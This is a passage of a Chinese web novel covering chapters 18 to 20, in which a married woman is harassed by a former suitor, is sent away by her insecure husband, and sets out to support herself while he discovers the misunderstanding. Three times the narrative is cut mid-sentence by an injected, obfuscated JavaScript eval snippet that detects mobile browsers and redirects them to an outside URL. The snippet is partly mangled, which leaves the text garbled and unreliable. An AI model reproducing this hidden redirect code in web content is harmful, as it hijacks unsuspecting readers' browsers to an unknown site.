甚至在心里悄悄作对比,江乐阳比她那个妹妹长得好看多了,而且也更听话、更好骗,早知道就答应跟她结婚了,这样婚后在外面玩,八成她也不敢管。 以前江乐阳就对自己言听计从,现在嫁给一个残废,估计日子也好不到哪儿去,想把她哄回来应该也不是什么难事。 要是能把姐妹俩都拿下,岂不是美事一桩? 18. 你走吧 江乐阳不知道他这些恶心的想法,只是感叹于江家人的厚脸皮,要彩礼的时候都说了断绝关系,现在竟然还敢舔着脸上门。 “我跟江家再没有关系了,为什么要去吃你俩的喜酒?” “乐阳妹妹,即便你跟江家没关系了,但是咱俩认识这么多年,你都忘了吗?” 听见他对自己的称呼,江乐阳恶心得冒出一身鸡皮疙瘩,“我可不是你妹,你别这么叫我,听着怪恶心的。” “你是不是还在怪我呢?当时我也是没办法啊,你跟那个瘸子睡在一个屋里,大家都看到了,我本来想着风头过了再……” 最近被父母关在家里筹办婚事,曹思明都好久没出来鬼混了,现在就连看见江乐阳皱眉都觉得眉目有情,竟然恬不知耻地摸上了她的手背。 “乐阳,咱俩这么多年的交情了,你在我心里就是小妹妹啊,市区里新开了一家西餐厅,那个瘸子肯定没带你去过吧,哥哥带你去尝尝……” 江乐阳怎么还能不明白他是什么意思,猛地将手抽出来,整个人往后退了几步,当时要了曹思明一百八十块钱,他后槽牙都快咬碎了,现在竟然还能跑到自己面前叫春,怎么会有这么不要脸的人? 江乐阳可不是原身,两三句话就会被他哄得团团转。 “江映梅知道你要带我去吃西餐吗?” “不用管她。” “可你俩都要结婚了。” 一想到何莲带着江映梅上门逼婚,他就恨得牙根痒痒,“那都是她逼我的,咱俩才是先认识的啊,小时候你都追在我后面,一直叫我哥哥……” 曹思明又往她身边凑过去几步,伸手还想揽她的肩膀。 “乐阳,你嫁的那个瘸子不行,以后哥哥疼你。” 江乐阳冷笑一声,懒得再跟他废话,抬手直接给了他一巴掌。 但她始终只是个女人,论力气哪里能跟曹思明硬来,胳膊还没收回来就被曹思明紧紧抓住了,将她推到墙角,整个人凑了上去。 “江乐阳,别给脸不要脸,以前是你天天追在我屁股后面跑的……” 江乐阳用力却没能挣脱开,正想看看手边有没有什么趁手的家伙什,还想再给他一下,院门却突然被推开了。 陆锋回来了。 他拎着大包小包推开家门时,没看见前因后果,只看见一个男人握着江乐阳的手腕,两个人凑得那么近,江乐阳几乎被男人完全搂在怀里。 再晚一秒,两人的脸就要完全贴上了。 还听见一句江乐阳天天追着他跑。 耳边一阵嗡鸣,他实在不知道自己该作何反应,只是机械地握着手杖往屋里走,他以前当过兵,眉头紧皱着的时候眼里有几分凌厉。 尤其是听见他的拐杖敲击地面发出“笃笃”的声音,曹思明就觉得一阵心虚,不敢再纠缠,不甘心地松开江乐阳的手,转身逃出门之前还不忘留下一句。 “下个月初三,你别忘了。” 他说的其实是自己的婚期,可是落在陆锋耳朵里,脑子里只剩下私奔这一种推测,看向江乐阳的眼神里,带着几分不敢明说的质问。 对了,他上门提亲的时候,张书记的老婆就说过,江乐阳是有对象的,还是从小一起长大的青梅竹马,自己怎么忘了呢。 他们还一直都有联系吗? 是不是自己这段时间的冷落终于让江乐阳无法忍受,所以下决心要跟别人走了? 好像也是情理之中,健全的青梅竹马和身有残疾的自己,傻子都知道该怎么选。 有些问题好像不用再问,陆锋心里已经有答案了。 既然江乐阳已经做了选择,那他就成全好了。 本来看他突然回来,江乐阳还挺高兴的,可是想到两人之前的不欢而散,再对上他现在的眼神,一时也拿不准他心里到底是什么想法。 只能开口解释一句:“他是我之前的街坊,今天来给我送请帖……” 陆锋却觉得她是在欲盖弥彰,都没听完就要打断她,语气平静地开口:“你跟他走吧,家里的钱你需要多少,都可以拿。” 江乐阳满脸问号,不知道他的脑回路又转到哪去了。 “你在说什么?” “你跟我结婚本来也是迫不得已,如果你喜欢他,随时可以跟他走。” 这个年代也没有什么户籍联网,很多夫妻没有结婚证也在一起生活,要是江乐阳真的想走,连离婚手续都不需要。 “不是,你哪只眼睛看出来我喜欢他了?” “你们之前的事情我听说过,而且今天都找到家里来了,还需要我看吗?怕也不是头一次了吧?” “我们之前有什么事?我自己怎么都不知道?” “你俩上学的时候就好上了,江家邻居谁不知道,有什么事难道还需要我重复出来吗?” 陆锋其实一直都知道,但是从来没开口问,总觉得自己没有资格。 他不问,江乐阳也没想过要解释,原身的事情突然又被翻出来,江乐阳也一时不知道从何解释,毕竟原身一直缠着曹思明也是事实,恋爱脑上头的时候还做过不少傻事,的确有些邻居误会他们俩在谈恋爱,原身自己也是这么认为的,所以从来不澄清。 没想到给江乐阳留了这么大一个坑,总不能说自己是穿越来的,以前那个江乐阳做的事情跟自己完全没关系,但凡有脑子的人都不可能相信这种借口吧。 更让她心中生出凉意的是,在陆锋心里自己到底是什么样的人,难道就是结了婚还会把奸夫带回家吗? “陆锋,你连句解释都没有就跑到省城去躲着我,我都没多质问你一句,辛辛苦苦帮你打理家里、照顾陆铠,我是想好好和你过日子的,可是在你心里,我就是个水性杨花的女人吗?” 当然不是。 可是一想到曹思明握住她的手腕,两个人离得那么近,以前不知道还有多少亲密的事情,无缘由的嫉妒就烧尽了他心里的理智,甚至变得口不择言。 “我娶你,只是想为那天晚上的事情负责,不需要你来打理我家。” “没有你,难道我和陆铠就饿死了吗?” “我也没求你照顾我们,是你自己非要做的。” “我知道你是在可怜我们,但是我真的不需要。” “那两千块钱彩礼就算是扯平了,你也不用放在心上,想走就走吧。” 陆锋向来话不多,难得听他一口气说这么多,一句接着一句,生怕被江乐阳打断,就没法再说下去了。 自卑的人总是先亮出獠牙,哪怕他是轻轻一推就会倒下的纸老虎,但还是要硬撑着赶走江乐阳,好像这样就能维护自己最后的自尊心。 江乐阳也被他的这番话气到了,她不敢相信这是他的心里话,难道这段时间的相处都是装出来的吗? 可是他说得那么郑重,一字一句仿佛真的已经在心里排练过无数遍。 “陆锋,你心里真是这么想的吗?” 陆锋不敢看她,眼神望向墙上的挂历,江乐阳总喜欢在上面做标记,这个月被圈出来的那天,是自己的生日。 不能再一起过的生日。 他连日历都不敢再看,低着头问了一句:“我说了家里的钱你都可以拿,还是说觉得不够?你还要多少?” “你这话什么意思?难道你认为我做这些是为了钱吗?” 江乐阳抓住他的肩膀,非要他抬头看着自己,可还是听见他的决绝。 “我只是说我不需要你做这些,而且咱俩什么关系都没有,都还清清白白的,你想喜欢谁都可以,随时都能走。” 一句清清白白,就这么否认了自己所有的付出,江乐阳突然觉得自己像个一厢情愿的小丑。 “陆锋,你要赶我走?” 心里明明难受得要死,可是自卑锁着他的喉咙,怎么都说不出软话,陆锋侧过头不敢看她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640062|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后只听见江乐阳轻笑一声:“我明白了。” 不说话就是默认了,再不走反而显得自己死皮赖脸。 江乐阳转身回了房间,她能收拾的行李不多,无非就是几身衣服,连个像样的行李箱都没有,当初从江家搬回来的家具她也带不走,放在陆家就当是还了这段时间的生活费了,她也没拿陆锋抽屉里的钱,只带着原身的积蓄,拎着手提袋走到大门口的时候,最后看了一眼沙发上的陆锋。 还是不说话。 江乐阳在这一刻突然明白了,不论陆锋刚才的话到底是真是假,他们两人对这段婚姻的定义根本不同。 自己已经适应了妻子这个身份,她原本以为就算没有感情,也能和陆锋一起搭伙过日子,无非就是两个人相互照顾,但在陆锋眼里,自己只是一份莫名其妙出现的“责任”。 他已经为这份“责任”花了很多钱,没必要再花心思跟自己维持夫妻关系了。 陆锋听见她的脚步声越来越远,心好像也跟着被掏空了,什么想法都没有,就这么呆坐在沙发上,带回来的大衣和雪花膏都还没来得送出去,收礼的人已经不在了。 也不知道坐了多久,直到陆铠放学回来,才打破了屋内的沉默。 “哥你回来啦!” 陆铠随口打了个招呼,还没意识到家里少了个人,他前两天有颗乳牙开始松动,江乐阳不准他吃糖,今天上课的时候那颗牙终于掉了,他想问自己今天能不能吃糖,习惯性钻进厨房里找江乐阳,却看见里面冷冷清清,没有人、也没有晚饭。 “诶,嫂子呢?” 陆锋还是不说话,他不知道要怎么解释,甚至连自己不知道刚刚为什么会说出那些话。 陆铠有些疑惑,凑近了终于发现他哥情绪不对,眼神空洞又呆滞,好像得了失魂症。 “哥,你怎么了?” 陆锋深吸了一口气,也没提江乐阳,只是给他两个选择:“晚上吃面条,或者你去二姑家吃。” “啊?我都不要,我问嫂子呢?” 陆锋没说话,答案只有一个冷冰冰的眼神,难道要他亲口承认江乐阳跟别的男人跑了吗? 陆铠被这个眼神吓到,赶紧缩回了脑袋,小声说了一句:“那就吃面条吧……” 陆锋原本也无意迁怒到他身上,又想起来之前江乐阳说过陆家云的心思,继续把陆铠交给她家照顾也不是什么好事,可是自己又实在顾不过来。 其实他对江乐阳说的都是谎话,自己明明很需要她,没有江乐阳,这个家就散了。 一直到面条出锅之后他才想好该怎么办,也不是征求陆铠的意见,而是直接通知他:“以后没人给你做饭了,我早上起来给你炸油饼,中午回来自己热热,放学之后你去店里找我一起吃厂子食堂。” “要是不想吃,可以拿钱出去买,或者偶尔去二姑家,但不能天天去。” 陆铠瘪了瘪嘴,没敢反驳,毕竟他哥连包子都不会蒸,勉强也就会炸油饼了,还老是发不好面。 今天的面条没有荷包蛋,盐还放多了,家里恢复了从前的沉默,一直等到天黑都没见到江乐阳,没有人陪陆铠写作业,他看连环画都没兴趣,可是不敢再去触大哥的霉头。 陆锋在夜里翻来覆去睡不着,明明不该是这样的,他今天回家的时候,一路上都念着江乐阳,想着半个月没见面,也不知道她在家里累不累,不知道陆铠有没有调皮,不知道她会不会喜欢自己买的大衣。 是啊,不该是这样的,他原本都想好了,自己是个瘸子,留不住江乐阳也是情理之中,要是她真的喜欢上别人,他就准备一笔钱,让她风风光光出嫁,也享受一次隆重的婚礼。 到底是哪里出了问题,怎么会变成现在这样? 能给他答案的人已经离开了。 陆锋轻轻敲了敲床头的墙壁,想到从前江乐阳说的,有什么事就敲响墙壁叫醒她,可是今晚再也没人答复。 19. 自力更生 江乐阳当然不可能去找曹思明,可她也不知道自己该去哪里,在这个陌生的时代,她没有落脚的地方、也没有收入来源,站在大街上都和这个世界格格不入。 这几个月以来,江乐阳无数次幻想过,要是一觉醒来就能回到21世纪就好了,回到自己的小窝,面对自己熟悉的工作,可是每次睁开眼,她依旧躺在陆家的房间里。 她并没有那么强的适应能力,一觉醒来就回到八十年代,就能立马扎根,而且这里交通不便、没有网络、什么都还不发达,她只是连恐惧都不敢表现出来,只能摸索着学习如何在这里生存。 陆锋是她来到这个陌生世界见到的第一个人,就好像是出于雏鸟情结,发现这个人真的不是坏人之后,她就开始依赖陆锋,带着付出和讨好,甚至潜意识里想做一个对他有价值的人,生怕被他抛弃。 她的情绪和生活,全都在围着陆锋一个人打转。 陆锋的亲近让她高兴,疏远就让她落寞,甚至会反思自己哪里做得不好。 自尊让她忍住不要在陆锋面前掉眼泪,也不再去追问毫无意义的理由,所以她识趣地离开,可是真的走出来,却不知道前路又在哪里。 实在想不出去处,她只能带着行李先去了田曼的店里,毕竟是自己在这里唯一的朋友,要离开也得跟她打声招呼。 倒是田曼看见她拎着一大包行李,眼睛红红的像是哭过,满脸震惊地问她:“乐阳你要去哪儿啊?出什么事了?” 今天裁缝店里的生意还挺好,江乐阳还没来得及回答,就有一个大姐拿着布料过来跟她商量款式,江乐阳不能耽误她的生意,赶紧让她先去接待,自己找了个小马扎坐在店门口。 看天、看云、看人。 最后目光又回到田曼身上。 她家里条件不好,小学都没上完,只会最简单的写字和算数,在这个年代好像就应该早早结婚生子,围着锅台转完这一生,可她还是坚持把这个裁缝铺撑起来。 她会去市中心的百货商场逛一整天,看现在时兴的款式,会花钱去买明星的画报,放在店里给顾客们挑选,做一件衣服、一条裤子,只能拿到一块多钱,还有些大婶拉着她讲价,做衣服还得再送几颗扣子。 生活艰难,可是她一直在往前走。 靠自己的手艺谋生,步步都走得踏实。 落日被低矮的平房遮去一半,江乐阳却在田曼身上看见了朝阳。 是她错了,生活本来就不该是围着谁打转,不管是在八十年代还是二十一世纪,这都不是她想要的生活。 她接受过新时代的教育,思想独立、能力优秀,在卷成鱿鱼的新时代都能考上编制,在处处是春风的八十年代,更不该依附男人生活。 走出陆家的门,江乐阳才算是真正走进了这个时代。 田曼在小本子上记清楚大姐的尺码和要求,才有功夫回头看坐在门口的江乐阳,她眼睛里已经没有迷茫和悲伤,倒像是下了什么决心。 她拖着椅子坐到江乐阳身边,继续问她:“乐阳,家里出什么事了?怎么把行李都带出来了?” “没什么事,我就是想出去找个工作。” 江乐阳想明白了很多事情,现在豁然开朗,语气里也更多的是轻松,她是学英语的,上大学的时候生怕卷不出头还把口译和笔译证都考了,这个年代英语还没有那么普及,以她的水平,想找份工作应该还是没什么问题的。 “那你来我这儿上班呗,给我当个账房啊。” 江乐阳拉过她的手,摸到她都还没来得及摘下的顶针,感动得说不出话来。 明明她也就是挣点辛苦钱,还要养活自己和母亲,全靠勤俭才能有点结余,却还是在这个时候挺身而出,说要给自己一份工作。 江乐阳认真想了想,跟她说了自己的想法:“我想去南方试试,那边有很多外贸公司,现在又有政策扶持,应该有很多就业机会。” 总要先走出去,更多了解这个世界。 田曼以为她就是想找个事干,打发打发时间还能赚点钱,毕竟陆家这几年又是修房子又是买货车,怎么看都不需要江乐阳出来养家糊口,可是听见她说自己要去南方,才突然意识到问题的严重性。 “啊,那么远,陆锋知道你要去吗?” “我没跟他说。” 其实领证之前,江乐阳提过自己会去找工作,后来一直被搁置,哪里想得到现在闹成这个场面。 “为什么?这么大的事都不跟他商量商量吗?” “小曼,我和他已经分开了,以后我要靠自己过日子。” 江乐阳做不出背后诋毁别人的事,在陆家的事情一句两句也说不清,她想明白了自己的前路,却还没想明白和陆锋的关系,只能用一句轻飘飘的分开带过。 “为啥?他是不是欺负你了?你跟我说,我去给你出气。” 这个年代离婚还是一件见不得人的事情,甚至田曼只上过小学,在她的意识里都还分不清离婚和休妻的区别,总之都是让女子蒙羞之事。 一听见江乐阳这么说,还以为她受了多大的委屈,站起来就要去找陆家人理论,江乐阳赶紧抓住她的手安抚。 “没有受欺负,是我自己想明白了,我要开始自力更生了,你是我的好朋友,你该恭喜我啊。” 自力更生。 田曼突然就不想再追问了,满肚子的话全都烟消云散,她不懂什么大道理,但是这一刻,她完全理解江乐阳。 就像她非要自己出来开店,哪怕当个体户再艰难,但是每一分钱她都挣得无比踏实,她才不要年纪轻轻就结婚生子,被对方的家庭挑三拣四。 “对,我该恭喜你!” 不过想去南方也不容易,现在干什么都需要介绍信,住招待所、买火车票,没有介绍信的江乐阳寸步难行,田曼跟她头脑风暴分析该怎么办,终于想起来自己家里有个二叔,就在招待所里上班,找他的关系应该能解决住处的问题。 “你把住宿费直接给我二叔,但是千万小心一点,要是被抓到就完蛋了,至于火车票就只能找票贩子,你在火车站周围多打听几天再买,可千万别被骗了,要是钱不够你随时来找我。” 田曼能帮到这个份上,江乐阳已经很感激了,不可能再要她的钱,认真同她道别之后才搭车去了招待所。 她去奔向自己的未来,只有阴霾留在陆家。 江乐阳离开之后,陆锋就一直板着脸,逼着自己如同往常一样吃饭睡觉,跟谁都没提那天的事,只有他自己知道,心里像被掏了一个大洞,每天听着风声在耳边呼啸,整个家里都空荡荡的,主卧的陈设完全没动,可是少了女主人,家里就像散架了一样。 实在睡不着的时候,翻出家里的高粱酒喝上两杯,闭上眼就什么都不想。 连他都想不明白自己到底想要什么,除了麻痹自己,别的什么都不想做。 陆铠刚开始还会追问为什么嫂子不回家,可是答案永远只有沉默。 得不到答案就不问了。 就像父母的突然离开,哥哥把自己交给二姑看管,陆铠看不懂成年人的世界,只是三番五次被抛弃,好像也就习惯了不去问原因,他能做的只有乖巧听话,不能让陆锋也厌倦他。 可是邻居家里的话实在难听,也不知道从哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645708|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传出来的,说看见江乐阳把野男人带回家,被陆锋抓了正着,吵了一架之后就跟野男人跑了,谣言添油加醋地传播,等回到陆铠耳朵里的时候已经不堪入耳了。 二姑直接当着陆铠的面说,他那个嫂子整天花枝招展,一看就不是能好好过日子的人,果然耐不住寂寞跟人跑了,毕竟家里又是瘸子又是小拖油瓶,傻子才会留下来。 陆铠听得生气,可是又没办法反驳,毕竟江乐阳真的抛弃他了,可是连学校里的同学都说他嫂子不三不四,动手抢他连环画的时候,他实在忍不住还手了。 虽然双拳难敌四手,最后他还是被打得脸上挂彩,棉衣的袖子也被撕破一个大洞,好歹也把连环画抢回来了。 但是等他这幅样子回到家的时候,陆锋却是意料之外的冷漠。 要是江乐阳在家,一定会耐心地问他怎么会弄成这个样子,如果是之前的陆锋,估计会先骂他一顿,再让他保证不再调皮,可是都没有。 只让他先换身衣服,今天晚上又吃面条。 陆锋自顾不暇,也怕自己控制不住情绪迁怒陆铠,想着这么大的男孩子,只要没打到伤筋动骨,少训两次也没关系。 可是陆铠害怕他的冷漠。 哥哥是自己在这世上唯一的亲人了,是打是骂都代表关心,冷漠疏远才是要离开的前兆。 陆铠连衣服都没来得及换,主动捧着被撕坏的连环画,怯生生走到陆锋面前,解释自己不是故意跟同学打架,只是没提那些关于江乐阳的谣言。 “哥,我没挑事,是他们先抢我的连环画,这是嫂子给我买的。” 听他又提起江乐阳,陆锋择菜的动作顿了顿,把手上的水珠全擦干了,才接过他手里的连环画,封皮都被撕坏了,勉强拼凑起来才能认出一本是《黄巾起义》,另一本是《花姑子》,生僻字标好了拼音,遇到成语还会在空白处写上注释。 江乐阳的字迹清秀整洁,一如她的性格,如月光短暂照亮过这个不完整的家庭。 陆锋心中生出愧疚,这些都是自己从未为弟弟做过的,再抬眼看见陆铠脸上的擦伤,才后知后觉意识到自己的不称职。 陆锋一直希望弟弟乖巧懂事,却没意识到连种菜都需要浇水施肥,养育一个孩子哪是光管他吃饱穿暖就足够的。 更何况自己连让他吃饱穿暖都没保证。 陆铠最近好像又长高了,身上的棉衣都是江乐阳买的,头发最近没人打理,稍微长长了一点,打了一架之后像乱糟糟的野草。 这些事情以前是二姑在管,后来是江乐阳在管,可明明自己才是和陆铠最亲的人,这些都该是自己的责任,可是自己又做了什么呢? “先回屋吧,我给你上点药。” 家里备了红药水,陆锋手掌宽大,没伤口的地方也被他涂红了一片,检查过陆铠身上只有擦伤,才认真环视起他的房间。 不只是那两本连环画,书桌上还摆了好多课外书,钢笔和墨水瓶整整齐齐摆在右上角,桌面也收拾得很整洁。 木桌上难免有些坑坑洼洼,写字的时候笔尖会戳破纸面,江乐阳买了张平整的透明玻璃压在桌面上,玻璃下面压了几张从报纸上剪下来的卡通画。 陆铠沿着他的眼神看过去,想到江乐阳坐在书桌前教自己写作业的样子,终于开始问出了心里藏了很久的话:“哥,是不是因为我太麻烦,所以嫂子才不回来了?” “当然不是。” 陆锋被他的想法吓到,怎么也没想到陆铠会把这件事情归咎到自己身上,张了张口却不知道该从何开始解释,只能把陆铠揽进怀里,轻轻拍着他的后背,徒劳地安抚他的不安。 20. 误会 维修店里的人都不知道陆家到底发生了什么,只看出陆锋每天魂不守舍,问了他也不说,后来还是谣言传得沸沸扬扬,李大友才从自己媳妇嘴里听说江乐阳已经走了。 那天确实有人看见陌生男人进了陆家,之后又在院子外听见小两口吵架,江乐阳拎着行李就走了,串联在一起就成了大家茶余饭后的谈资。 不过张贺和李大友都不相信这些传言,毕竟他们都和江乐阳接触过,怎么看都不像是会和野男人私奔的人,要是她在外面真的有相好,压根就不会跟陆锋结婚。 说是被陆锋气跑的还差不多,大哥那个石头脾气,认准了什么就犟得不行,旁人怎么劝都不听。 实在不忍心看见陆锋低沉的样子,几个人背着他悄悄在外面打听江乐阳的去向,想着有什么误会帮他们解开了就好。 附近的街坊都不知道江乐阳去哪儿了,唯一没确认过的地方就是江家,刚好李大友要去市区买一批零件,特意绕路去了一趟纺织厂那个方向,想看看江乐阳是不是回娘家了,结果隔老远就听见吹吹打打的声音,走近了才发现是江家在办喜事。 之前江乐阳出嫁的时候冷冷清清,还要了那么多彩礼,李大友就不怎么喜欢这家人,随口问了一句才知道今天是江家嫁小女儿,看这红红火火的氛围,和江乐阳的待遇也差得太多了。 问了几个江家邻居都说没见江乐阳回来过,李大友就想先回家了,不想掺和这家人的破事,扭头又听见几个大妈聊闲话,才知道竟然还是未婚先孕。 真不知道是什么家风,李大友都没忍住朝江家啐了一口。 第二天吃饭的时候他也就把这件事当笑话说出来了,还问了陆锋一句:“大哥,你那个小姨子结婚,你要去随份子吗?” 小姨子? 陆锋皱着眉想了想,勉强从记忆里挖出了江映梅那张刻薄的嘴脸,且不说江乐阳已经走了,就算江乐阳还在,他俩也不可能去给江家送钱。 李大友自顾自地继续说着:“听说还是先上车后补票,那个男的在供销社上班,逼婚都逼到供销社去,还被领导撞见,丢死人了,大哥,你那个小姨子可真不是省油的灯,还是嫂子好,你就低个头去把嫂子接回来呗。” 张贺看着陆锋的表情越来越阴沉,伸手撞了李大友的胳膊肘:“吃饭都堵不上你的嘴?去趟市区光打听别人家里事去了?” “还用我打听?闲话都传到巷子口了,不想听都往我耳朵里灌。” “也不知道江家怎么想的,出了这种事嘛悄悄嫁过去不就得了,还大操大办的,当时嫂子连个首饰都没有就嫁出来了,真不像是亲生的。” 陆锋本来不想管,可是听见供销社的时候,总觉得有点不对劲,还是没忍住问了一句:“她妹嫁了个供销社的?姓什么?” “姓曹吧好像,叫曹……啥来着……” “曹思明?” “对对对,好像就是这个名字,巷子口挂着大横幅呢。” 不对,不对,曹思明不是和江乐阳在谈恋爱吗,那天都追到家里来了,两个人还那么亲密,怎么转身又要和江映梅结婚了? 陆锋捏着筷子的手紧了紧,脑子里闪过一些零碎的片段,答案好像呼之欲出,却没法串成一条线。 “他们昨天办?” “昨天是接亲,应该是今天正式办酒。” “今天是……初三?” “对啊,一转眼都腊月了。” 腊月初三,那天曹思明说的日子,所以是他和江映梅的婚期吗? 陆锋想了想,又问他:“你今天见到江乐阳了吗?” “没有啊,娘家人送新娘子出门的时候,是她弟弟背出来的,江家二老跟在后面,都没见到嫂子,她家邻居也都没见嫂子回去过。” “她没回江家?” 陆锋终于意识到有什么不对,他一直以为江乐阳是回去找曹思明了,可是如果曹思明正在和别人结婚,那么江乐阳去哪儿了? 那天的事情是误会吗? 李大友和张贺不明白他为什么突然这么大的反应,他们一直以为夫妻俩只是闹点矛盾,吵架分居几天,说不定过几天就好了,听这个语气,陆锋竟然连江乐阳人在哪儿都不知道。 还没来得及细问,陆锋已经站起身,放下碗里才吃了几口的饭菜,如果江乐阳没有跟曹思明私奔,那天就是自己错怪她了,更重要的是这段时间都压根没有江乐阳的消息,她会不会出什么事? 被曹思明欺骗或者失踪两种可能,陆锋都不能接受。 他原本想着江乐阳是去追求自己的幸福,那天说话才那么难听,想逼着她离开,这些天也一直忍着没去找人,心里再舍不得也不去打听,但要是被自己气得离家出走,性质就完全不一样了。 “我得去趟市区,你俩看着店里。” 陆锋赶到巷子口就遇到了出来送客的曹思明,前胸别着红色胸花,一看就知道他是新郎。 一想到那天他握着江乐阳的手腕,两个人还贴得那么近,今天竟然就要和别人结婚,陆锋就控制不住自己的情绪,也不管身边还有其他宾客,直接反手拧住曹思明的手腕,把人推到墙上,开口问他:“江乐阳呢?” 陆锋当过兵,平时干的又是体力活,哪怕断了一条腿,曹思明也不是他的对手,胳膊被拧得好像已经脱了臼,偏偏还怎么都挣脱不开。 “我不知道啊,你轻点你……” 他越挣扎,陆锋就越使劲,把前臂都拧得翻了个面,曹思明疼得发抖,扭着身子想减轻一点痛苦。 “你那天去我家干嘛?” “我……我就是给她送个请帖,我和她妹妹结婚,她不该回来看看吗?” 大庭广众之下,今天又是接亲的日子,曹思明不可能承认自己又去招惹了江乐阳,也怕陆锋再说出点什么来,又赶紧补了两句。 “以前一直都是江乐阳一厢情愿缠着我,我可没搭理过她,现在我都要结婚了,你可别胡乱污蔑人。” “怎么说我也是你妹夫,你不该来给小姨子贴点嫁妆吗?” 现在还想着要钱,陆锋气得一甩手,直接将人一屁股摔在了地上,旁边的几个亲戚赶紧凑过来,一边扶起曹思明,还一边指责他动手打人,甚至威胁要报警。 陆锋冷笑一声,他就没见过这么怂包的男人,不合身的灰色西装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658127|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显得他更像个软蛋,这种人怎么可能配得上江乐阳? 也是自己没想明白,就算江乐阳真的要改嫁别人,也得让自己先把把关才行。 连自己都不敢奢求,曹思明又怎么配? 懒得跟这群人废话,陆锋往巷子里再走几步就是江家,何莲不知道巷子口发生了什么,看见这个瘸腿女婿进门的时候,心里还挺高兴,毕竟当时眼睛都不眨一下就能拿出两千块钱的彩礼,如今小姨子出嫁,要个三五百的份子钱不过分吧? 还没招呼他进来坐下,陆锋就先开口问她:“江乐阳在哪?” 他的语气有点着急,眼神凌厉,看着有点吓人,何莲没敢开口要红包,眼睛在陆锋那条不能受力的左腿上转了转,脑子里突然冒出一个猜测—— 怕不是江乐阳嫌弃这个瘸子,偷偷卷钱跑了吧?陆锋是上门来要人?还是要彩礼钱? 进了口袋的钱哪里有退回去的道理,何莲往后退了几步,到嘴边的女婿也咽了回去。 “咱们当时可都说好了,结了婚江乐阳就跟我们江家没有关系了,看不住人是你没本事,彩礼是不可能退的!” “我不是来要钱的,我问你江乐阳在哪。” “要人就更没有了,我连她人影都没见过,今天我家嫁闺女,你赶紧上别处找去。” 何莲怕他反悔要钱,也怕他闹事影响江映梅的婚礼,抬手就要赶人。 陆锋急着找人,也懒得跟她多费口舌,轻车熟路推门进了江乐阳从前的房间,里面堆满了囤积的粮食和蔬菜,应该是打算用来办喜酒的,角落里是几张断腿的桌椅,上面都已经积灰了。 江乐阳一走,江家就把这个房间改成了杂物间。 陆锋又依次推开其他几个房间,确定都没有江乐阳的痕迹,走到江映梅房间门口的时候,何莲才冲过来拦住他,嘴里喊着什么不吉利,这是新娘的房间,虽然新娘已经被接走了,但这个房间得留着让新人回门的时候再住,陆锋怎么能进去? 江映梅房间的门板下半部分是木板,上半部分是两两并列的三排玻璃,这样的门窗采光更好,为了办婚事,还把门帘都换成了大红色。 “乐阳结婚的时候连日子都没看,那时候你怎么不说不吉利?” 何莲心想今天出嫁的是自己的亲女儿,这能一样吗? 但是看着陆锋粗鲁的动作,还是没敢说出口,不过陆锋也不在乎她的回答,在门口站定之后,直接举起拐杖,抬手就敲碎了门上所有的玻璃。 他心里清楚江乐阳不可能在这个屋里,但是江乐阳都没有得到的仪式,她这个妹妹凭什么能有? 玻璃渣碎了一地,也不管何莲在后面骂得多难听,陆锋转身直接走了,是了,江家这个样子,江乐阳就算在外面受多大的委屈,都不可能回来的。 江家没一个好人,自己好像也没好到哪儿去。 明明就是个误会,耐心一点听她解释两句就讲明白的事情,怎么会那么冲动。 李平说得对,他从没问过江乐阳到底想要什么,向来都是他独断专行。 黄昏的寒风呼啸,凉意在心底蔓延,街头的人来来往往,却都不是江乐阳。